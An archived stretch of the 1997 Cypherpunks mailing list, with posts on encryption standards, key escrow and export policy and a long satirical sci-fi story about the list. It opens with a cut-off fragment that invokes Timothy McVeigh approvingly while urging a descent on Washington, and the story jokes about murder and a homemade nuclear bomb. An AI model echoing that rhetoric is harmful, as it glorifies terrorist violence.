who think they are superior and above it all because they can run a few 
sentences together, docmartin, airjordan, dingo, nike and ourache our way into 
washington with some plungers of our own and enlighten the fucking white 
house the same way they enlighten us. 

Timothy McVeigh for President Committee-










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Irwan Hadi <phoenix@cutey.com>
Date: Sun, 7 Sep 1997 00:18:44 +0800
To: "Nobuki Nakatuji" <cypherpunks@toad.com
Subject: Re: Please show me these encryption algorithms
In-Reply-To: <19970906040906.29100.qmail@hotmail.com>
Message-ID: <3.0.3.32.19970906220951.04eec26c@mail.bit.net.id>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 21:09 05/09/97 PDT, Nobuki Nakatuji wrote:
>Does anybody know RC4,RC2,CDMF,MISTY,MULTI2 encryption algorithms?
>If you know these encryption algorithms,
>Please show me these encryption algorithms.
I think better for you if you go to http://www.pgpi.com
There you can search and find some documentations about it.
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=9H7P
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend+cypherpunks@sten.tivoli.com>
Date: Sun, 7 Sep 1997 11:16:03 +0800
To: cypherpunks@ssz.com
Subject: Re: standardizing encryption
In-Reply-To: <Pine.LNX.3.93.970905143655.638B-100000@shirley>
Message-ID: <vp4t7xq0mz.fsf@sten.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>>>> dformosa  writes:

d> On Thu, 4 Sep 1997, Nobuki Nakatuji wrote:

>> Do you think do to use standardizing encryption?  I think It isn't
>> too very good.

d> Rather then being not too good, it is infact neccery.  Unless we
d> have a standard, secure encrytion system, cryto is next to useless.

d> What is the use of encrypting your email if the recpent can't
d> decode it.

	I think a standard algorithm would be a bad idea, because that 
implies someone choosing what algorithm to be the standard.  Better is 
publicly known formats and algorithms, so that the strengths of the
algorithms can be tested, and multiple products can implement the same 
formats and algorithms, and compete on the basis of features and
usability, rather than FUD-based claims of security.  This may result
in multiple formats and algorithms being used, and that's all for the
best, so that when one algorithm is compromised, others are available
to be switched to.

- -- 
#include <disclaimer.h>                               /* Sten Drescher */
Unsolicited bulk email will be stored and handled for a US$500/KB fee.
It is by caffeine alone I set my mind in motion, it is by the beans of
Java that thoughts acquire speed, the hands acquire shaking, the
shaking becomes a warning, it is by caffeine alone I set my mind in
motion. -- Carlos Nunes-Ueno, 3/29/95

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=m4af
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Sun, 7 Sep 1997 13:54:38 +0800
To: cypherpunks@toad.com
Subject: The 1996 RSA Data Security Conference Proceedings
Message-ID: <19970907053504.19514.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Does anybody have The 1996 RSA Data Security
Conference Proceedings?
If You have it,Please send e-mail to me.



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sun, 7 Sep 1997 12:59:04 +0800
To: cypherpunks@toad.com
Subject: Re: Information
In-Reply-To: <Pine.BSF.3.91.970901153307.29960A-100000@lisa.supersex.com>
Message-ID: <3.0.2.32.19970907004523.00854ae0@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



At 04:09 PM 9/1/97 -0400, you wrote:
>Leo Papandreou <leo@supersex.com> writes:
>> On Mon, 1 Sep 1997, Harry Regan wrote:
>>
>> > Information, please!
>> Dont go swimming on a full stomach.
>Don't "escrow" your keys.

When they say it's for "Legitimate law enforcement" they are lying SOB's.
----------------------------------------------------------------------------
 "...The right of the people to keep and bear arms shall not be infringed."
			-U.S. Constitution, Amendment II
----------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: valdeez@juno.com (Anonymous Remailer)
Date: Sun, 7 Sep 1997 20:38:27 +0800
To: cypherpunks@cyberpass.net
Subject: Prayer to A.M. Turing
Message-ID: <19970907.072429.3854.40.valdeez@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Oh Lord Turing, God of Messages and Pathways, please reduce the
latency time of the remailer network!  Please accept this humble
offering: 10110AlanMathisonTuring8ef2b1912670b51

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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=4W9L
-----END PGP SIGNATURE-----




E-mail was meant to be Free, And so should Free Speech
To Report any Abuse or Request Your E-Mail Address to
be BLOCKED, Contact valdeez@juno.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 7 Sep 1997 10:50:34 +0800
To: cypherpunks@toad.com
Subject: Toto UnMasked!!!
Message-ID: <199709070233.EAA02851@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



And in June, authorities in Cincinnati, Ohio, removed
three toddlers from the feces-strewn bedroom they were locked
into for up to 12 hours a day; their mother, Sandra Hacker,
allegedly did not want them disturbing her while she was on the
Internet. 

News of the Weird
  by Chuck Shephard






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 7 Sep 1997 20:40:00 +0800
To: John Young <jya@pipeline.com>
Subject: Re: BXA Testimony at SAFE Hearing
In-Reply-To: <1.5.4.32.19970906234350.00705f64@pop.pipeline.com>
Message-ID: <199709071220.IAA01391@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <1.5.4.32.19970906234350.00705f64@pop.pipeline.com>, on 09/06/97 
   at 07:43 PM, John Young <jya@pipeline.com> said:

>See William Reinsch's testimony on the administration's 
>encryption policy at the September 4 SAFE hearing:

>   http://jya.com/bxa090497.htm

>Perhaps dissimulating, or not then clued to the draft GAK bill, Reinsch
>states:

>1. Foreign crypto products are not as widely available as export control
>critics claim, and thus do not threaten US products.

Lie

>2. The administration is against mandatory key escrow.

Lie

>3. Finds the SAFE bill unhelpful but likes its crypto-criminalization
>provision and favors McCain-Kerrey's Secure Public Network  Act bill or
>other legislation that will:

>  Expressly confirm the freedom of domestic users to choose 
>  any type or strength of encryption.

Lie

>  Explicitly state that participation in a key management 
>  infrastructure is voluntary .

Lie

>  Set forth legal conditions for the release of recovery 
>  information to law enforcement officials pursuant to lawful 
>  authority and provide liability protection for key recovery 
>  agents who have properly released such information.

Any time they want it.

>  Criminalize the misuse of keys and the use of encryption to 
>  further a crime. 

Any and all uses will be a crime.	  

>  Offer, on a voluntary basis, firms that are in the business of 
>  providing public cryptography keys the opportunity to obtain 
>  government recognition, allowing them to market the 
>  trustworthiness implied by government approval.


They don't want it nor do they need it.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 7 Sep 1997 20:29:07 +0800
To: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Subject: Re: tdc0997globe.html
In-Reply-To: <199709062313.TAA18510@yakko.cs.wmich.edu>
Message-ID: <199709071220.IAA01388@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


[Well I am not quoting any of a rather lengthy post. It's in the archives
if you want to read it.]

What a load of crap. Nothing but wining and snivelling about internet
traffic ratios between the states and overseas. How awful that 80% of
Internet content is in English. Oh my people overseas actually want to
connect to US sites and god forbid the foreign Telco's have to pay to
improve their connections to the States.

It is simple Economics 101 supply and demand. Content providers are
producing what people on the net want thus the increasing demand. If there
were people in Russia, or Asia, or India who were producing content that
people wanted then the demand would be to connect to those servers but it
is not. Nor should the silly notion that US providers should subsidize
foreign Telco's so they can improve their communication be given a second
thought. If their customers want/need improved bandwidth to the US then
let them pay for it. 

It's bad enough that my tax dollars are being pissed away by the billions
overseas without more of it be wasted on them.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 7 Sep 1997 21:01:37 +0800
To: John Young <jya@pipeline.com>
Subject: Re: GAK Ploy
In-Reply-To: <1.5.4.32.19970907121556.007502a4@pop.pipeline.com>
Message-ID: <199709071252.IAA02112@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <1.5.4.32.19970907121556.007502a4@pop.pipeline.com>, on 09/07/97 
   at 08:15 AM, John Young <jya@pipeline.com> said:

>   "There is nothing about putting this enabling technology
>   into law that will inevitably lead to it being turned on,"
>   said Robert Litt, a Deputy Assistant United States
>   Attorney.

Yeh, and the check is in the mail.




- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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=/Wjl
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 7 Sep 1997 22:32:55 +0800
To: cypherpunks@toad.com
Subject: InfoWar (The True Story of the InterNet / Part III)
Message-ID: <3412B48D.7DF0@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Prelude to the Past

September 5, 1997


Prelude To the Past


"He's quite mad, you know."
Everyone in the room turned toward Alexis, wishing she hadn't
spoken the words that reflected the depressing conclusion each
of them had arrived at simultaneously in the preceding moments
of discussion.

Jonathan and the Cowboy exchanged a hasty glance which confirmed
that neither one of them really wished to be the first to acknowledge
that they had made a mistake which might well mean the end of
a indeterminate mythology which had served to protect humankind
for well over a century...the Circle of Eunuchs.

They were saved from the degradation of having to admit their
culpability in this matter, as Priscilla rose angrily from her
seat to remove the encrypted HydroCube from the Telsa ground link
to the Nowhere Eternity Server.

"Men!" Priscilla bellowed, turning back to face
the antique oak table around which the group had been seated in
heated discussion until the increasingly obvious became the undeniable.

"You have put the whole future..." Priscilla
stopped to correct herself, "...past,"
she continued, "in jeopardy because neither one of you
is capable of using your mind to overcome your penis!"
she spat the word out as if it was a bad taste in her mouth, causing
Jonathan and the Cowboy to break into huge grins, as Jonathan
whispered to the Cowboy, "Feminazi!" 

"Don't you dare..." Priscilla hesitated
for a moment, almost losing her anger in her amusement over seeing
the two men cringe under the weight of her verbal barrage, then
continued after nodding to a smiling Alexis, "...try
to use a century-old stereotype to try to turn the tables concerning
your own descent into some pit of primal slime from the past."

These words caused all of them to be hurtled startlingly into
the present, having to face the stunning realization that they
had all waded overconfidently and unwittingly into a situation
which had buffeted and befuddled each of them in a variety of
divergent ways.

"Nuke the Bastards!" 
They all jumped out of their skins as Bubba Rom Dos strode
into the room behind them, unexpectedly.

"Damn." they all said, in unison, with Priscilla
clutching at her heart as if it had been struck through with a
deadly arrow.
"Nice to see you all, too." Bubba smiled, sitting
down at the head of the table and pulling a bottle of "Bubba's
Private Reserve" out from under his robe. 
"Did I miss anything?" it was obvious that he
had, but he seemed unconcerned about it, in his usual unflappable
way. He poured a shot of Jack Daniel's for everyone present and
sat back, waiting for an update on recent events.

Alexis waved her hand over the recall control, throwing a document
up on the HoloGraph in front of Bubba, saying, glumly, "Toto's
crazy."

Bubba glanced at the document on the Holograph.

The True Story of the InterNet, Part
III

"Space Aliens Hide
My Drugs"

by Toto

"I know that..." Bubba replied calmly, while
pouring another drink, and shaking his head at the rest of those
gathered there as if he was mystified as to how they could be
so naive.

"No, Bubba. I mean really crazy!" Alexis
added, thinking Bubba didn't truly comprehend the full import
of what she was trying to tell him.
"..as a loon." Priscilla added, referring to
a mythological bird that Bubba himself had been compared to more
than once in his life.
"Nutso..." Jonathan added, to confirm her
point.

"Caw, Caw, see that crow...see that crow!"

Everyone but Bubba jumped out of their seats as the Cowboy
roared out his own personal judgment concerning the state of mind
of the person they had selected as a link to the past, in a last
ditch attempt to extricate the Circle of Eunuchs from an untenable
position in which they faced certain extinction if their plan
to reach back into the annals of time, changing history, came
to an unsuccessful end.

The four members of the Magic Circle sat quietly, looking at Bubba
expectantly, waiting for him to confirm that he now understood
how serious they were about their discovery.
Bubba was way ahead of them...

"Didn't you ever wonder how someone could cut themselves
into a thousand pieces with a Stihl chainsaw?" Bubba
shook his head in bewilderment, once again, as to how supposedly
intelligent individuals such as those sitting before him could
be so thick-headed as to need him to explain the obvious to them.
They knew he was referring to the alleged suicide of the Author
at the close of "The Xenix Chainsaw Massacre."

Alexis, Jonathan and Priscilla glanced at one another, to confirm
that they were all suspecting the same thing...they were about
to hear something which was undoubtedly going to make the bad
news they had recently discovered even worse.
The three of them then looked at the Cowboy, who was sitting bent
over, slowly banging his head on the old oak table, shaking it
just enough to create small ripples in their refilled shot-glasses...ripples
which spread to the outside edges of the glasses and then turned
inward, meeting in the middle to disappear into a fresh cycle
of expansion and contraction in which the end becomes the beginning,
and vice-versa, until there is no longer any time nor space, just
the eternal Tao.

"The end of our exploring will be to arrive at where we
started, and to know the place for the first time."
The Cowboy quoted an excerpt from an ancient poet named T.S.
Eliot. It was one that they had all seen in a post by CypherPunk
Jim Choate while researching the history surrounding the beginning
salvos of the InfoWar which had been cut short by the Channel
Revolution, spinning the world instantly into a global crisis
which had caught the CypherPunks off-guard and led to WebWorld
becoming a reality before they had even had a chance to react.

All eyes turned to the Cowboy, who was speaking softly out loud
as his mind retraced history one more time, in an effort to rebuild
the trail of events which had happened over a century earlier.
A trail which they had hoped would lead them to an understanding
of the circumstances surrounding an event which had set the tone
for the coming battle pitting the Circle of Eunuchs against Gomez
and the Dark Allies.

"We verified that it was Toto who was in the room with
the person who slaughtered himself with the chainsaw."
the Cowboy intoned slowly.
"We knew, from 'WebWorld & the Mythical Circle of
Eunuchs,' that the Author had escaped the wrath of Gomez. We also
knew that it was Toto who had been dressed as a Canadian Mountie
when they burst through the door of the motel room in Moose Jaw."

the Cowboy continued.
"And we assumed that the lone Mountie who Gomez's
henchmen took away on a one way trip, for 'debriefing,' was the
Author."

The Cowboy looked up as he felt the sinking feeling taking hold
in the pit of his stomach. He looked at Alexis, whose face was
filled with horror.
"We used the Trei Transponder to link to the digital implant
of a chainsaw murderer?" Alexis cried out, in
despair, as all eyes looked pleadingly at Bubba to tell them it
was not so.

"Well, yes..." Bubba told them, with a shit-eating
grin, pausing to let them squirm before continuing, "...but
the person who lay slaughtered in the motel room was not the Author.
It was one of Gomez's human conspirators. The reason he needed
to be so severely mutilated was to prevent positive identification
of the body."

All four members of the Magic Circle let out a sigh of relief..

"So Toto was..." Jonathan paused to
correct himself, since their fate, and their life, was now inextricably
linked to this strangely incomprehensible figure from the past,
"...I mean, he is a CypherPunk, and a member
of the Circle of Eunuchs."
All eyes were on Bubba as they awaited his reply.

"Not exactly..." Bubba quoted a rental car
advertisement they had come across in their journey through the
primitive TV archives from that period in time.
Their stomachs began to sink, once again, as they waited for the
bad-news/good-news, cycle to flip over, once again.

"The man who died in that motel room was indeed one of
Gomez's human compatriots, but Toto didn't know that."

Bubba waited for the full weight of his statement to sink in,
before continuing. He poured himself another shot of Jack Daniel's
and slid the bottle across the table to the others, and resumed
his account of this twilight moment of history.
"Toto thought that he was slaughtering the Author."
Bubba said with an ironic smirk on his face. "Toto was
a protégé of the Unabomber, and he thought he was
striking a blow against the technological monster that the man
was continually ranting about."

"The Unabomber had sent Toto on this mission in order
to eliminate him." Bubba continued, to his wide-eyed
audience. "Toto was so crazy that the Unabomber was afraid
of him, and he thought he was sending him to a certain death by
putting him in the middle of a battle between the Author and Gomez.
Instead, Toto escaped by posing as the first Mountie on the scene,
and when he was taken into the custody of Gomez's henchmen, then
he slaughtered them, as well."

"But there were three bodies found at the scene,"
Jonathan protested, in vain, "so if the third person wasn't
the Mountie, or Toto, as you claim, then who was it?"

Bubba shook his head, sadly. "It was probably some poor
bastard who happened to be in the wrong place, at the wrong time."

"The Mountie in charge of the murder scene knew that the
fellow being taken away wasn't one of his men. That's why he didn't
put up a protest. When the bodies were discovered, the Mountie
confirmed the body as that of one of his men, as payback for the
Shadow's misguided intention to kill one of his troops."

"And what happened to Toto?" the Cowboy asked,
somberly, already suspecting what he was about to hear. He bent
slightly forward, and his head was already beginning to move toward
the hard surface of the antique oak table, as Bubba confirmed
his suspicions.

"He ended up back in the 'Home for the Criminally Insane.'"
Bubba said, grinning at the Cowboy's despair, as his head slowly
rose and then dropped, banging his forehead into the hardwood
again and again.

Jonathan ran for the bathroom, to prayed to the Great Porcelain
God. Priscilla fainted. Alexis reached for the bottle of "Bubba's
Special Reserve" and grinned at Bubba.

"That's going to be a bit of a sticky wicket, isn't it
Bubba?" Alexis said calmly.

"Yes." Bubba replied, shaking his head in wonder
at how a beautiful young lady such as Alexis, with less than half
the life experience of some of the others gathered here, could
somehow manage to be the strongest of the bunch when the shit
hit the fan.
"It's going to be a bit of a sticky wicket."
Bubba echoed, reaching for the bottle as it skittered toward the
edge of the table when the Cowboy began banging his head even
harder than before.


September 5, 1997


Priscilla and Alexis lay on their cots at the back of the room,
talking quietly.

"What's a Feminazi?" Alexis asked, "I
think maybe I'd like to be one."

Priscilla laughed and reached out to touch her daughter's hand.

"Maybe you will be, sometime soon." Priscilla's
smile faded, as she said, "Perhaps we both shall."
She looked at Alexis with motherly concern.

"Do you mean that we might start falling under the same
influences from the past that Jonathan and the Cowboy seem to
be channeling?

"It's not really channeling." Priscilla corrected
her. "From what I understand, it is more like a reawakening
of some sort of primal instincts, or whatever, that were much
more a part of that period of history than they are today. It's
not as if we don't carry those mechanisms inside us, as potential,
it's just that most of them have been overruled for so long by
the mind-control in WebWorld, that those instincts are not something
that would normally come to the surface of our consciousness without
some sort of outside impetus."

Jonathan had been listening to their conversation as he lay on
his cot, failing in his repeated attempts to fall asleep and forget
about the repercussions that were certain to come from their discoveries
of the preceding few hours.
"We knew that the Trei Transponder would result in the
transfer of mental and emotional qualities, as well as InformEnergy,
but we were certain that the transfer would flow mostly in the
direction of the past. Peter Trei's documentation was incomplete,
but it gave every indication that the laws of entropy would assure
a backwards flow through the space-time continuum.
"We hadn't counted on mental and emotional energy being more
quantum in nature than the more rigidly structured InformEnergy
which was intended to make up the majority of the transfer."

Jonathan shivered slightly, confiding, "When Bubba hollered
out, 'Nuke the bastards!' I almost shit my pants. I felt like
I was back in 1997, experiencing what Toto was experiencing while
reading Tim May's 'Nuke D.C.' diatribes."

Alexis reached out to comfort Jonathan, who was obviously berating
himself for not recognizing that something was terribly wrong
when he and the Cowboy began falling into the increasingly violent
mindset that was increasingly characteristic of the CypherPunks
mailing list at that point in time.
"You can't blame yourself." she said, stroking
his cheek lightly. "You said yourself that the reason
you and the Cowboy were more affected than mother and I was that
the volume of male energy on the CypherPunks list was bound to
influence your subconscious tendencies much more than ours."

"We should have used Blanc Weber." Priscilla
broke in.

"Blanc's digital implant was bogus." Jonathan
told the women, much to their surprise. "Blanc worked
at Microsoft," Jonathan explained, "so she had
access to the files concerning the plans for the introduction
of the digital implants into the members of the CypherPunks list.
That's why she was one of the first to receive one, but she had
already used the secret technology she was working on to create
a digital implant that could act as a simulator, feeding back
the correct readouts to the testing module, without affecting
her thinking in the least.
"We could have tried to bypass the simulator, but it would
have been dangerous, since it was based on a predecessor to her
HydroCube technology, and we couldn't be certain that it worked
on the same basic principle."

Bubba and the Cowboy came walking over with a bottle of BSR to
share with the others, since it was becoming apparent that no
one was going to get much sleep tonight.

"Jonathan," Cowboy said, handing him the shot-glasses
as he sat down to roll a cigarette, "how did she manage
that? She didn't have the complete technology for infinite data
storage at that point in time, did she?"

"No," Jonathan replied, knocking back both shots
of Jack Daniel's and handing them back to the Cowboy with a grin,
"but she had already managed an exponential increase in
memory storage, and the digital implants were tested largely according
to checksum. Since the programming was designed to fill each implant
completely, leaving no room for a potential Trojan Horse aimed
at bypassing its correct functioning, she had more than enough
room to place a program that would allow full simulation of the
implanted code and yet hide any indication of the existence of
the extra memory."

The Cowboy thought about this for a moment, and responded, "Then
Blanc was already using potential memory at that time. No wonder
she was so successful. Virtual memory was commonly used back then,
but it was still based on changing the structure of the memory
through programming, to access more potential memory. But once
created, the memory existed and could be found by those who were
looking for it in their tests and analysis."

"Exactly." Jonathan smiled, happy to be tutoring
his former mentor. "The technologists of that era recognized
that potential existed, but their mistake was that the majority
of them were still stuck in the world of Newtonian and Quantum
physics, and thought that they had to create something in order
to access the potential. Naturally, in creating new structures,
they were merely climbing the quantum ladder one step at a time.
They didn't even have the ability to change aluminum to lead,
at that time, but they thought they were already tweaking Quantum
technology toward its limits."

"Mom always told me that women are smarter than men."
Alexis said, giving her a mother a high-five as she mimicked one
of the social battles of the era they had been studying.

"Damn." said Jonathan, shaking his head in disgust.
"Two Feminazis."


Everyone had a good laugh, and then the Cowboy changed the subject
to more pressing matters.
"Perhaps we would have been better off waiting for the
NSA to implant Tim May."

"Right." Priscilla laughed, giving the Cowboy
a slap on the shoulder. "Like they had volunteers waiting
in line to be the first up the hill of an anarchist CypherPunk
with a weapons store that made some of the armies of the time
look like they were arming themselves with his cast-offs."


"From some of the documents I read, that may have well
been the case." the Cowboy said, blushing, realizing
that Priscilla was echoing his own reasoning when they had made
the decision that they couldn't wait for that eventuality.

"So we're stuck with a homicidal lunatic as our only link
to what is now the most important turning point in the history
of the Magic Circle." Jonathan moaned, beating his head
into his pillow.

"Not necessarily." Bubba spoke, for the first
time, rising unsteadily to his feet to begin a grand soliloquy,
before falling back ignobly onto his cot.

Everyone laughed at the drunken old fart, and Priscilla went over
to sit beside him, purportedly to hold his hand in support, but
more likely in order to keep him from falling on his ass while
he explained the situation, as he saw it, to his compatriots.

Bubba gave Priscilla a grateful peck on the cheek, and turned
back to face the others.

"It is more than true that there are a multitude of reasons
that make Toto a poor choice to serve as our link to that era
in time, but there are also a few things about him that we might
be able to turn to our advantage."

Bubba now had everyone's full attention, as they realized that
their tit was in a wringer, with little room to maneuver in order
to attempt extricating it.

"On the downside, he's a fucking lunatic." Bubba
paused to let everyone finish wincing.

"He's also a thief, a liar, lazy, a slob, has a scattered
mind, a drinking problem, and ingests a variety of what he laughingly
refers to as his 'medications,' to the point where he is mentally
unstable and a danger to himself and others."

"And a homicidal maniac." Alexis added, knowing
that the others were trying to put that fact out of their mind.

"Yes," Bubba thanked her with a nod, "and
that may be the largest problem we face in using him as a conduit
to attempt changing the course of history. 

"The fact of the matter is, this is not generally known
to the authorities of his time, since 'Operation Eunuchs' was
the target of a massive cover-up by Gomez and the Dark Allies.
As a result of that, as well as the fact that the era he lives
in is currently rather lax about allowing the criminal elements
in their society to roam at large, he is able to get weekend passes
from the 'Home for the Criminally Insane' and thus will be beyond
our control during these periods of time.
"Although that particular era in time is much more liberal
than WebWorld in regard to what people can and cannot do without
drawing attention to themselves, there are certain activities
which his society regards as red flags that demand the sort of
attention which could limit his effectiveness as the contact point
in our efforts to reach others of a more rational nature in that
time period
"It appears that he may be using his weekends at his home
in Bienfait, Saskatchewan, to build a nuclear bomb.".

"Jesus!" the Cowboy leapt to his feet. "He
can't actually do that, can he?"

"He's crazy, not stupid." Jonathan cut in, adding,
"And, off course, if we were to give him a little bit
of help..."

The Cowboy yanked the bottle of bourbon out of Jonathan's hand,
not looking very amused by this small bit of humor.
"This is a ball buster." the Cowboy said in all
seriousness. "I can see some kind of hope in the situation
if we can manage to use him long enough to warn the members of
the Magic Circle of his time about the need to start taking action
immediately, but that is going to take time...perhaps too much
time to be of any real effect, especially if someone discovers
what he is planning and turns him in."


Once again, everyone turned to Bubba, hoping that his gift of
loquacious verbiage would suffice to overcome his somewhat faulty
reasoning powers enough to give them some small hope of success
in what seemed to be quickly turning into a highly dubious enterprise.

Bubba Rom Dos, derelict and philosopher, rose to the occasion,
as always, taking the discussion in a completely new direction.

"The Cowboy is right." Bubba said, much to their
surprise. "Time is of the essence, and it is highly unlikely
that the Circle of Eunuchs of that era is sufficiently distributed
throughout society and the computer industry to be gelled into
an effective force capable of changing the course of history that
brought a premature end to an InfoWar that was over before most
of the citizens of that time even realized it had begun.

"There may not be time to turn the potential of the Magic
Circle into a reality capable of taking the steps necessary to
counter the Dark Allies' plans for seizing overt control of the
InterNet, but we may be able to use make effective use of Toto's
chief asset in order to shift the battlefront into the hands of
those who are capable of making a difference."

"And what, pray tell," Alexis asked in a tone
reeking of skepticism, "is this shining attribute of a
man who has already publicly declared war on the established authorities
of his day, is living in a 'Home for the Criminally Insane' during
the week, and is building a nuclear bomb in his basement on the
weekends?"

"Yes, pray tell..." the Cowboy added, laughing
at Alexis' obvious lack of faith in the grizzled old guru to the
terminally inebriated, who was looking smug, instead of perturbed,
at her youthful insolence. The Cowboy knew that the old geezer,
fortified by the divine liquor of questionable reason, was about
to launch them on a journey that would match the mystery and intrigue
of even the most tempestuous of their experiences in service of
the Magic Circle, to date.

"I know what Toto's most valuable quality is."
Jonathan jumped in with a laugh, as the others turned to listen.

"He's expendable."


"Exactly!" Bubba regaled in Jonathan's quick
wit, pouring him a fresh shot of "Bubba's Special Reserve."

"While the old saw is true," Bubba told them,
"that you can't make chicken salad out of chicken shit,
it does make mighty fine fertilizer."
"Toto is a loose cannon...one that we can ill afford to
use as a link to that era for any length of time without running
the risk of losing all contact with those who are capable of truly
making a difference in the course of history at that nadir point
in time.
"However," Bubba continued, rising to his feet for
his grand pronouncement, "we can use him as a foil
to provide an impetus for an already established dis-organization
that is already firmly in place to step forward into the breech
and provide a genuine force of opposition to the Dark Forces who
are quickly closing their grip around the freedoms and liberties
that still exist in their time."

"The CypherPunks!" the balance of the
increasingly inebriated and drowsy crew shouted out, in unison.

"But how are we going to manage that?" Jonathan
asked, perplexed. "If there was ever a more disorganized,
loosely knit band of vagabonds who ever roamed the face of the
earth, they sure kept themselves well hidden.
"Besides, I sincerely doubt that the CypherPunks are anxiously
awaiting someone from the future ordering them around. Especially
if the only way we have to contact them is through a homicidal
lunatic who most of them don't even consider a true CypherPunk,
just a Johnny-come-lately Carpetbagger."

"I hate to admit it," the Cowboy joined in, "but
I agree with Jonathan that the weak part of your plan consists
of the fact that he is considered by most of the CypherPunks list
members to be a nuisance and a unwelcome pest.
"Even those who bother to read his inane and rambling posts
do so mostly for amusement, and not because he ever seems to have
much of value to say concerning the issues the other list members
are addressing."

"I agree." Alexis added her two cents worth.
"Who the hell on the list is going to listen seriously
to anything he has to say."
Alexis stood up and twisted her body and face into a grotesque
parody of a cross between a hunchback and the village idiot, drooling
as she said,
"Hi. My name is Toto, and I'm the guy who rants obscenely
on the CypherPunks list about things that bear absolutely no relation
to what everyone else is discussing. I'm also the person who forges
posts to the list in your name, making you look like an idiot,
and twisting your words into an anathema to everything you believe
and stand for.
"Oh, and did I mention that I'm receiving messages from the
future through the digital brain implant that NSA gave me as part
of an experiment on the residents of the 'Home for the Criminally
Insane?'

"Well, you troubles are all over now," Alexis
continued, as the others rolled on the floor, laughing, "because
I'm going to tell all of you CypherPunks what to do in order to
save the what remains of the Free World from the Evil Forces who
are lurking under my bed and from the Space Aliens who HIDE MY
DRUGS!"

By this time, everyone had tears rolling down their cheeks, and
were holding their sides in a failing attempt to stop the pain
that came from unending laughter. After they had gotten themselves
somewhat under control, Priscilla spoke up, addressing the obvious
question which hung in the air, waiting to be asked.

"My psychic abilities," Priscilla began, resulting
in another short round of giggles, "indicate that there
are not currently any CypherPunks sitting at home by the phone,
anxiously awaiting a call from Toto to tell them what to do.
"So what is your great plan for turning the mighty CypherPunks
into unwitting shills in our grand game of mystery and intrigue?"

"It's simple." Bubba responded, as if wrestling
anarchist alligators was something that was old-hat to him.
"What is the CypherPunks' worst nightmare?" he
asked the small assembly of still giggling lunatics. He waited
for a moment, receiving no answer, before continuing, "While
it would be foolish to generalize, I would think that high on
the list would be a specific individual emerging as their Chief
Spokesperson. I would think that if it appeared that this possibility
might, in fact, become a reality, then they would be forced to
act to counter this anathema, as they did during the censorship
crisis."

The other members of the Magic Circle stared silently at Bubba,
dumbfounded at what he appeared to be proposing.

"You are saying you think that we should try to make Toto
the CypherPunks chief spokesperson?" Alexis finally asked.

"No..." Bubba replied, grinning mischievously,
"...TruthMonger!"


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 7 Sep 1997 20:36:24 +0800
To: cypherpunks@toad.com
Subject: GAK Ploy
Message-ID: <1.5.4.32.19970907121556.007502a4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Markoff reports today on the latest GAK ploy:

   http://jya.com/gak-door.htm

Excerpts:

   Government officials disputed the idea that requiring
